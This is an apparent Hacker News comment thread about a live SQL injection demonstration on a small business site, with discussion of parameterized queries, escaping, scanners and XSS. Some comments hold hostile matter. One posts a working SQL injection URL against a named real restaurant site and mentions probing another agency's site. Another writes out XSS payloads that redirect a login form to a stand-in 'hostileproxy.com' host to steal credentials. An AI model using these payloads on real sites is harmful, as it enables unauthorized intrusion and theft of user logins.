7 ms·
A Big Case of Oops
- vital101 17y agoIt's easy to tell someone about security, but actually demonstrating vulnerabilities really drives the problem home. That said, something as simple as NOT trusting any input and sanitizing it would solve 90% of these problems.
- by 17y ago"Screw input validation, love output normalization." http://news.ycombinator.com/item?id=785549 http://news.ycombinator.com/item?id=785549
- generalk 17y agoOutput normalization: solves various problems like log injection and XSS Input validation: solves SQL and other injection issues. If you're not doing both, you're probably vulnerable somewhere. There is no magic bullet.
- by 17y agoAh, I am classifying a SQL statement as an output that is sent from the program to the database. Anything you put in the SQL will have to be normalised. For example, you might have a name in the database. What if someone is called O'Beirne? How do we get this into the database? Do we only allow them to have the name OBeirne?
- smackjer 17y agoEscape the quote. See http://en.wikipedia.org/wiki/SQL_injection#Preventing_SQL_injection http://en.wikipedia.org/wiki/SQL_injection#Preventing_SQL_in...
- tptacek 17y agoEscaping will get you killed. Do you know what %u2032 means? +ACc-? %ef%bd%b1? Parameterize the query.
- brlewis 17y agoIgnoring the part about PHP not knowing the difference between a byte and a character...%2032? There are databases where something other than ASCII single quote will terminate a string?
- tptacek 17y agoSure. It depends on the database, the way the query is constructed, and the way the handle is initialized. But the bigger problem is what the web stack does to the query before it hits the database. People have been playing charset games to get past SQL quoting for almost 10 years now, and not just in PHP.
- generalk 17y agoSure, that's fine. But what if someone passes you an email address that's really 500 comma-separated email addresses? What if someone passes 'admin=true' to your user update URL? Your output sanitization doesn't do much for those.
- by 17y agoYou are quite right, you do need to white-list the valid inputs for reasons other than SQL injection. I did not explain very clearly. What I was trying to say was that output normalisation will prevent SQL injection attacks. I am considering the components of the SQL statement, such as the string O'Beirne, to be things that have to be normalised before being output to the database in the SQL statement. This output normalisation, as the other replies to my post have correctly said, is best done for you by a library. It cannot be done properly by restricting the inputs, as my O'Beirne example shows, only by output normalisation of the SQL.
- tptacek 17y agoBut output normalization will not prevent SQL Injection attacks, so I'm pretty unclear on what you're trying to say. I think you're trying to say that content neutralization (turning ' into ", for instance) stops SQLI. It might or it might not, depending on the vector (tablespace injection doesn't care about metacharacters, for instance). It's at least more accurate than saying "if you make sure that the web app doesn't spit out [!@#$%^&*(){}:"<>?] you're safe".
- by 17y agoMaybe the words 'output normalisation' are the point of confusion. I am using them as in this thread http://www.reddit.com/r/programming/comments/86kgp/xss_cross_site_scripting_prevention_cheat_sheet/c08e4tm http://www.reddit.com/r/programming/comments/86kgp/xss_cross... which is the context of my quote of larholm above and is a discussion about this page http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Pr... Perhaps this is not common usage, but within this context I believe I am correct in saying output normalization is what prevents SQL injection. larholm goes on to say: "The lack of output normalization IS the security vulnerability." "You can either normalize your output for each specific location as you encounter it, or normalize your input once in advance for all current and future output locations." "The former beats the latter, as it is impossible for you to know how the data will be output in the future." which also seems correct. What is "tablespace injection"? I just googled it and there are no references to it anywhere. http://www.google.com/search?q=%22tablespace+injection%22&hl=en&filter=0 http://www.google.com/search?q=%22tablespace+injection%22...
- crux_ 17y agoIgnore that other person saying to escape the quote -- do as the wikipedia article they linked says, and use parametrized queries. This does all the escaping for you, and unlike escaping, makes it much less likely that something will slip between the cracks. (There's almost never a good reason to construct SQL on the fly.)
- fendale 17y agoExactly correct - and if you are using Oracle and not using parameterised queries (known as bind variables in the Oracle world), you are quickly going to have performance problems too. That's not the case with MYSQL as it doesn't have a cursor cache in the same way Oracle has. I have no idea about Postgres or SQLServer. A rule of thumb is that if you are concatenting user input strings into your SQL query strings you are doing it wrong.
- tptacek 17y agoRemember that parameterized queries aren't a panacea. There are plenty of things that don't parameterize well, such as table names, sort orders, and limits.
- deleted 17y ago[deleted]
- epochwolf 17y agoParametrized queries still use escaping. The only difference is instead of you doing the escaping and query construction you're letting someone else's code handle it for you. (Code I would assume is far better tested than yours)
- crux_ 17y agoa) More importantly, they enforce a discipline on you: never treat data as code. b) I'm guessing there are plenty of databases that execute parametrized queries entirely differently than a plaintext ones, including the absence of an escaping step. Since the whole point of quoting + escaping is to demarcate the "data" parts of a query, and you've already done that with parameters, there's no reason a query engine can't use the parameter directly rather than run it through a useless escape then parse-and-unescape cycle.
- dstorrs 17y agoNot always. A few years ago, I demonstrated for a business owner a simple set of breaks to his website that allowed me to download, install, and execute code on his server and then use it to look and and download every file on the system. He understood that his source code (the "crown jewels" as he called it) was therefore vulnerable, but never did anything about it.
- wheaties 17y agoDamn, that's a "well done sir" type of article.
- ballpark 17y agoYeah. He should have titled it "I'm the man"
- lenni 17y agoFunny. This is like shooting fish in a barrel. What are the chances of getting this SQL injection attack vector served on a silver plate right when he needed it?
- MrFoof 17y agoWhat are the chances of getting this SQL injection attack vector served on a silver plate right when he needed it? In my experience? Frighteningly real. You could also ask, "What are the chances of finding an application that has quadratic, cubic, or exponential scaling problems served on a silver plate right when he needed it?", and I'd also have the same reply - frighteningly real. The most fun I've had in my days was not only demonstrating such security holes, but also finding laughably bad scaling issues while I was running amok. The most frightening thing is, I'm not referring to podunk little companies, but wholesalers or manufacturers with 9 and 10-digit annual revenues. And not small internal apps, but their main presence on the web. Though I'll say, even as a contractor, these gigs are never enjoyable simply because - despite best trying to avoid it - you've managed to embarrass some people on an epic scale. Once you've fixed what you've been paid for, most places don't look to keep you around much longer unless they truly have a "what's right, not who's right" philosophy.
- chrischen 17y agoI decided to try to inject some SQL to a form--I didn't specially seek it out--and to my surprise it worked. It seems to be really common, especially if the site looks shoddy and ends with .php.
- MrFoof 17y agoThe worst for me are scalability issues for database driven applications. I just had a conversation go like this. "So your application produces 60MB of output. The LUNs on the SAN the database server has available is capable of easily sustaining 250MB/s of throughput. Assuming ideal conditions, how fast should it produce the results." Uh.. about 0.3 seconds? "Right. However we perform a lot of complex calculations and use some complex logic. Let's assume the penalty for this is two orders of magnitude. How long should it now take?" About 30 seconds? "Right. So now do you see why I consider an application that takes 3 1/2 hours to produce the results to have a lot of low-hanging fruit?" Yeah... ----- ----- I spent the day performing a cursory review. I made three recommendations, only one of which requires non-trivial code changes (but minor in the overall scheme of things), but the overall risk of introducing regressions is very low. Estimated reduction is 97%, which would get it down to about 6 1/2 minutes. Actually refactoring most of the application could certainly get it close to the 30-second mark. The first improvement was simply querying a painful view (which is due to a fundamental schema design flaw) once, instead of querying it N times. It's being tested in their QA department. 82% runtime reduction improvement right off the bat (so from 3 1/2 hours down to 38 minutes) Not a small company. Very high average level of education amongst the staff. Very bright group in general. Very poor design decisions resulting in very expensive hardware choices to compensate (i.e. FusionIO for a SQL Server tempdb!).
- whyleyc 17y agoSo I did a bit of digging and found the website in question: http://www.mythaichicago.com/default.asp http://www.mythaichicago.com/default.asp Looks like they're still experiencing "issues" - http://www.mythaichicago.com/order.asp?locationid=000004 http://www.mythaichicago.com/order.asp?locationid=000004 reports: "Sorry, On-line ordering is currently undergoing service." No clear indicator who the web design company behind it is though.
- Quarrelsome 17y agoHow did you dig that one backwards... ? As far as I could tell you only had an image of the site.....?
- lenni 17y agoScreenshot + TinEye?
- whyleyc 17y agoYep just from images (and Google) - I examined one of the images from the post at a higher resolution (by clicking on it) and took a look at the map on the right-hand side. It was a map of Thailand, so that gave me the type of restaurant. From there it was just a simple Google query combining that knowledge with the URL structure revealed in the blog post: http://www.google.co.uk/search?q=thai+restaurant+locationid%3D000004 http://www.google.co.uk/search?q=thai+restaurant+locationid%... Then it was just a case of working through the list of possibilities (it was second on that list) :-)
- DougBTX 17y agoGood searching. Looks like you've found quite a few more vulnerable sites too.
- dacort 17y agoI would wager to say a large majority of .asp sites out there are vulnerable to these types of issues. Most were coded before common sanitization and security practices were observed during dev, not to mention built in to frameworks.
- rm-rf 17y agoHow history repeats itself. Years ago I struggled to convince a group of sysadmins that server hardening, firewalls and patching were essential for any Internet connected system. I heard things like "there's a million computers on the Internet, why would anyone bother mine" [unless they wanted to use your server to hack someone else or store their porn|warez]" and "nobody can port scan the entire Internet, they'll never find my server" [unless they control an army of scanners]. I made significant progress by having my group perform live IIS5 directory traversal & telnet MTIM attacks at a conference of local sysadmins. (yep, this was a long time ago) Similarly, today we have a significant number of web developers who don't think it can happen to them, until it does.
- deleted 17y ago[deleted]
- tptacek 17y agoUnfortunately, server hardening, firewalls, and patching wouldn't have prevented this problem; it's buried in the actual application code.
- rm-rf 17y agoI fully understand that. It was intended to be an analogy. Let me try again. A decade ago, clueless sysadmins put unpatched servers directly on the Internet with no firewall protecting ports that didn't need to be exposed, with no hardening, no patching, etc. An hour later, after their shiny new server got rooted, the clueless sysadmins stood there with the classic deer-headlights look, wondering what just happened. Today, with OS's that have reasonable default configs on as-shipped, and with firewalls the norm, it's the application developers that are clueless id10t's standing around with the deer-headlights look.
- cake 17y agoAny details on this ? : "After getting permission to use a tool we here at the ASC lovingly refer to as the SQL Injector" What's the tool ?
- PonyGumbo 17y agoI'd love to know this too. Edit: looks like Webinspect: https://h10078.www1.hp.com/cda/hpms/display/main/hpms_content.jsp?zn=bto&cp=1-11-201-200^9570_4000_100__ https://h10078.www1.hp.com/cda/hpms/display/main/hpms_conten...
- fragmede 17y agoWebInspect looks interesting, but for this usage, does it actually offer anything above Metasploit? (The marketing copy for it doesn't give much detail, though it does claim you can use this for hipaa compliance, among other things https://h10078.www1.hp.com/cda/hpdc/fetchPDF.do https://h10078.www1.hp.com/cda/hpdc/fetchPDF.do)
- tptacek 17y agoYes. Metasploit is a delivery vehicle for known exploits, principally for non-web applications. It's not designed to find new web vulnerabilities. WebInspect is a web application scanner. It includes a not-very-useful database of known application vulnerabilities, but also has a well-regarded fuzzer that generates random scary inputs to every input it finds on a site that it spiders. That's what Raf is talking about (his job is, in part, to promote that very expensive tool). You don't want WebInspect, or AppScan, or any other scanner. If you're a professional, you want Burp Suite, which costs something like EU120 and does just as good a job as a fuzzer as WebInspect. If you're a hobbyist, you want OWASP WebScarab, which is free. Both are Java apps, and will run anywhere Java does.
- imajes 17y agoLovely to know they aren't smart enough to check their other urls: http://www.mythaichicago.com/menu.asp?locationid=000004%20OR%201%20=%201 http://www.mythaichicago.com/menu.asp?locationid=000004%20OR... also, the site was built with dreamweaver. Telltale JS markers. Makes me think it's a web agency/ad agency type. EDIT: these are the people responsible: http://www.orangefuse.com/ http://www.orangefuse.com/ - who built www.linusinc.com. I chose another orangefuse site at random and produced an XSS error and a potential path disclosure error (i.e. read other things on the server).
- ahi 17y agoYou were able to figure out the orangefuse site? It's flash hell. Only half my clicks are even registering. edit: christ they suck. Check out justlines.com (warning: autoplay sound). Click on portfolio and try to actually use the scrolly thing on the left.
- cmelbye 17y agoI can not see how it's possible for people to produce such crap and be okay with it. I couldn't work there without having my perfectionist tendencies causing me to go insane.
- techiferous 17y agohttp://www.walk-outs.com/ http://www.walk-outs.com/
- tptacek 17y agoBe careful! People are not always reasonable about security testing, and if they're in the middle of an active investigation about a compromise, you can get slurped up into it by poking at them. That's a time suck and a hassle you do not want.
- imajes 17y agoA good point. My gut tells me these people haven't truly gotten it yet. It doesn't take much to go, "hmm, i wonder if any other part of my application might be vulnerable" and these people certainly haven't done that.
- dbz 17y agoI'll be next time he gives a talk he will already scope out a website so he'll be prepared to just show them and make them believers.
- wglb 17y agoThe interesting part of the article is that someone in the audience with a web site gave him a URL that he had not seen before and he did this exercise real-time.
- njharman 17y agoI've read many instances where this story continues with the room becoming convinced that the "messenger" hacked the site and calling the police who by default listen to the guys in suits over the technical expert.
- jerf 17y agoThe interview I feel worst about was when we had a "web programmer" coming in, and he linked his personal website as an example of what he could do. So, I found an XSS in his login form (first try, first field I tried...), showed it to him, and asked him what just happened. He did eventually get around to it, after two other wrong suggestions, but it took him some time. Arguably, it was a kick-ass interview question, but I still feel sort of bad about it.
- spoondan 17y agoWhat do you mean you found an XSS "in his login form"? The things you enter into a login form aren't normally displayed to any other users. If you mean you can run arbitrary JavaScript in your own browser, there are much easier ways to do that and you didn't find a vulnerability.
- jerf 17y agoHe displayed the value you entered as the user as part of the error message when your login failed, as in "User jerf does not exist." No escaping. Login form used GET, not POST. (Not that that fixes it, but the querystring is that much easier to exploit.) Classic XSS.
- cedsav 17y agoFor it to be a XSS, the javascript has to run in a different context (someone else browser). I'd say the issue you found is worrisome, but not in itself a vulnerability.
- jerf 17y agoWhich rolls us right back around to the point made in the original article, which is that people just don't believe it's a problem until you damn well exploit it right in front of them. This can include programmers. But to spell it out for you: Cross-site scripting includes as a vector the ability to cause a person to click on a hostile link and cause the resulting page to do something nasty and unexpected. Suppose I post a link in a forum that contains "?username=jerf'><script>document.forms[0].action="htt://hostileproxy.com/userscrape;something_to_hide_login_error()</script><span x='" and tell someone they have to log in. (I changed http to htt to bypass HN linkification.) Now their login goes to my proxy instead, which transparently steals the username and password, and bounces them back to the original site, leaving the user oblivious. That's why I mentioned it used GET and not POST; it's somewhat harder to fake up a post in a forum (though it's not impossible, I've done it), but faking a "GET" is just a matter of typing the link in. Even if the forum displays the entire link, some people will click. Not everybody is a programmer. As for whether this is a real threat, don't even try to tell me this isn't, because I've done this. I didn't steal any logins or do anything nasty, but I definitely got far enough to do it if I wanted to. (In fact, same problem: I tried to report it, and the site owner didn't believe it was a really-exploitable problem, either. Yeah... it was.) I don't even say this like it's a point of pride because it was like taking candy from a baby. Just start sticking ', ", and in the case of textareas, </textarea> in places they don't belong and you too will rapidly join the ranks of leet hacker. (For double-bonus points, it is sometimes possible to create HTML content that will automatically fire Javascript off in a forum; try something like <img src="does.not.exist.jpg" onerror="window.location='htt://hostile.com'">, just as one for-instance. Now, use a browser vuln to load your choice of spyware onto the user's machine. XSS is more important than it seems; in some cases it can lead to your viewer's machines getting completely owned.)
- dailo10 17y agoI feel obliged to post the related XKCD comic (Bobby Tables): http://xkcd.com/327/ http://xkcd.com/327/
- ryoshu 17y agoI've actually pulled out that comic twice in the last few months -- one time was last week doing a code review of a custom CMS. The progression on the developers' faces was something along the lines of: confusion (why are we looking at a web comic?); amusement (that's pretty funny); horror (our code has SQL injection problems!).
- dm_mongodb 17y agoa nice side-benefit of nosql databases is this massively underestimated problem (usually, depends on the product) going away
- tptacek 17y agoThere is a huge "maybe" attached to that statement. It's also possible that several of the popular NoSQL databases could have key patterns that will corrupt memory in their C-code runtimes. There are good reasons to consider NoSQL databases, but security isn't one of them yet.
- dm_mongodb 17y agotrying to understand what you just said: do you mean they may have buffer-overrun vulnerabilities, just as they are new projects? a lot of nosql projects are written in erlang and java btw.
- tptacek 17y agoI don't like the term "buffer overflow" because things haven't been that simple since the '90s (the recent Aurora kerfluffle happened because IE freed memory in the wrong order, no overrun involved). But yes, the point is you're trading a problem in a domain where we know how to mitigate problems for a maybe less likely problem in a domain where we have no idea how to mitigate problems.
- sh1mmer 17y agoRasmus built a tool while he was at Y! called Scanmus which doing automated probing. I've seen him demo it to students while we were giving classes at universities. It's amazing how eye opening that experience can be. P.s. no you can't have a copy of Scanmus P.p.s if you are really curious just Google the name Disclaimer: I still work for Y! :) and I'm proud of our security guys P.p.p.s no that wasn't a challenge
- tptacek 17y agoIf you have enough money to keep a single developer on staff, you have orders of magnitude more budget than it takes to license a copy of Burp Suite. Burp is the de facto pen testing industry standard, and it's a fantastic QA tool in general. If you have a product and you don't know about Burp, you should buy it pretty much immediately.
- deleted 17y ago[deleted]
- ggrot 17y agoThis is certainly embarrassing, but it's becoming really common. I wonder if there is anything that can be done to really make a dent in this problem across the web, I don't mean just fixing it on the site that you/I own, but ways of making it drop dead easy for an owner to spot SQL injection or XSS issues, or maybe software layers (proxies, browser standards, etc) that make it harder for a vulnerability to be exploited.